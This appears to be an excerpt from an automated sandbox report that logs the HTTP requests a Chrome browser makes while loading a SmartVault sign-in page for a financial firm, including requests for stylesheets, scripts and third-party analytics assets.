Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=c&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
Source: global traffic	HTTP traffic detected: GET /secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/common.css HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /secure/CustomCss.ashx?o=none&version=0 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /css/PasswordStrength.css HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=X_w8z2WqDptlxvctTj7ovyY0soL1koLkTdPxdeZM1MHmCHf0WqiWoU9NqVqCNy2pysw_1Nk1H8oVPzDbtZt8gJTvalJM1upvx5lc3pxO1Ha3k8ERD5fUf9w-o6jRB3qlQzcYEg2&t=638368678120000000 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=nfs_dBZy6aPV5PzP-4pfDGT9JSeTKef0YISAds0cTI49A9OU2zgUo65Jd75SKSDTFZdFXZ_Osxl7cSsp_SnYftFfJXnwyTJwtaAjIbpj5YCBboKW_E_r5dHx-zf9hEDfRJGT5IdTMAciNoUj5O2DsiCavLI1&t=638368678120000000 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=ysX2VaB2wDEAN6xwuzQVWtml0O6ZNpyiIlVP_QnXNHKGI5rBfOiar9m877jcdMWFZkO9kQsC0ojKmmuH_WytyZV4CDtOhYRup6gxH1m44iZKxVz4AnYjOFfqKZZn4NjCzc-rJg2&t=638368678120000000 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3rdParty/jquery-3.5.1.min.js HTTP/1.1Host: d2lgzuvj5j9n9p.cloudfront.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=d&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1Host: www.facebook.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wd=1280x907; datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=05waMQFvhEIeDqhkC..BmGEmY..AAA.0.0.BmGEmY.AWV3M9AQ76o
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=kT3oUtt9ldtztet0x1SHpMigeCJwT9b-N0txLQvmXO7DOXaqzuG3kTj7QwanK1tOFsbj_9PSJOsPL1CGtffCY2D0rljaaU_xX5eNZu92uroPihKNEHuuwKHrnIcQiJk_n4pA-3dX4BOcBGJzUvG7hTcuLJ41&t=636899829820000000 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=rmcOY57_3aeqDKmQUi5pNgKD5Yllboo5cLfP5LPhRtU_7xoF9cDjzmRNgDXc3rUDnj-JbWDR2WhBXb9UPxgv913JiwoYXbdxXF8gNjxbXefAlBZSHuu_DpDaLK4GvoCwDrsMMzN967gnxPqLbRuZoA6dtxk1&t=638368678120000000 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/Common.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/PasswordStrength.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/GetTimeZone.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/sha1.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/apersona.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /js/EmailValidator.js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=DzxUtfABsu8vnlw2s2acXrs0oF0PtU7eQ8cp60r68IrjUtW9DDM-0xlMz8I7xY2r_Q1vSWj9TmVkLca6OlhNx4F-j9c1&t=636480331623431523 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ScriptResource.axd?d=bxneLSIh8SNqL-DjmlEOCOjpj7lm8eCrWeUn3UqJb9YUsjCvSH5bGoYm_Sp61q2wrS-cbvalSlFsnoAzRX7679-OV8N9JPcmpTtUz6eRDBn82nBrgdQJlLL2zGFynS0QAVSv0422mvqVHBj94oanuA6IlAw1&t=ffffffffa83fb62f HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /Telerik.Web.UI.WebResource.axd?_TSM_HiddenField_=ctl00_RadScriptManager1_TSM&compress=0&_TSM_CombinedScripts_=%3b%3bSystem.Web.Extensions%2c+Version%3d4.0.0.0%2c+Culture%3dneutral%2c+PublicKeyToken%3d31bf3856ad364e35%3aen-US%3a59e0a739-153b-40bd-883f-4e212fc43305%3aea597d4b%3ab25378d2%3bTelerik.Web.UI%3aen-US%3acb530d55-8eee-4e6c-b719-fe87cff73af8%3a16e4e7cd%3a365331c3%3a24ee1bba%3ab7778d6c%3af46195d3%3a19620875%3a874f8ea2%3a39040b5c%3af85f9819 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /secure/secure.asmx/js HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /WebResource.axd?d=KlHDGLQzBshnNRXOquF_oBJGH1L_g2brdbY9dKkzLAYE8M9OCvc8pLWgLxniroDmM_4WJji2lIH465AuI5lpMBGestg1&t=636480331623431523 HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /artwork/server/graphics/btn-sign-in.png HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /secure/Header.ashx?o=ZDP9VpfZ6EuK8qJ7GVnNiQ&version=018eOZnJO0eg_DeW4TfMjw HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bfjfinancialgroup.smartvault.com/secure/CustomCss.ashx?o=none&version=0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /secure/Intercom.ashx HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspxAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed2.js HTTP/1.1Host: static.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /companies/522876257/62ae1f386a513fd442e6/12/swap.js HTTP/1.1Host: cdn.calltrk.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /c/hotjar-231701.js?sv=7 HTTP/1.1Host: static.hotjar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed-manifest.json HTTP/1.1Host: static.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bfjfinancialgroup.smartvault.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /artwork/server/graphics/btn-sign-in.png HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.1803119041.1712867742
Source: global traffic	HTTP traffic detected: GET /secure/Header.ashx?o=ZDP9VpfZ6EuK8qJ7GVnNiQ&version=018eOZnJO0eg_DeW4TfMjw HTTP/1.1Host: bfjfinancialgroup.smartvault.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _gcl_au=1.1.1803119041.1712867742; traffic_src={"ga_gclid":"","ga_source":"(direct)","ga_medium":"(none)","ga_campaign":"","ga_content":"","ga_keyword":"","ga_landing_page":"https://bfjfinancialgroup.smartvault.com/secure/SignIn.aspx?ReturnUrl=%2fusers%2fsecure%2fHome.aspx"}
Source: global traffic	HTTP traffic detected: GET /embed2.e540f3c.js HTTP/1.1Host: static.ada.supportConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /embed-manifest.json HTTP/1.1Host: static.ada.supportConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /modules.429236d560f51d186b8b.js HTTP/1.1Host: script.hotjar.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://bfjfinancialgroup.smartvault.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
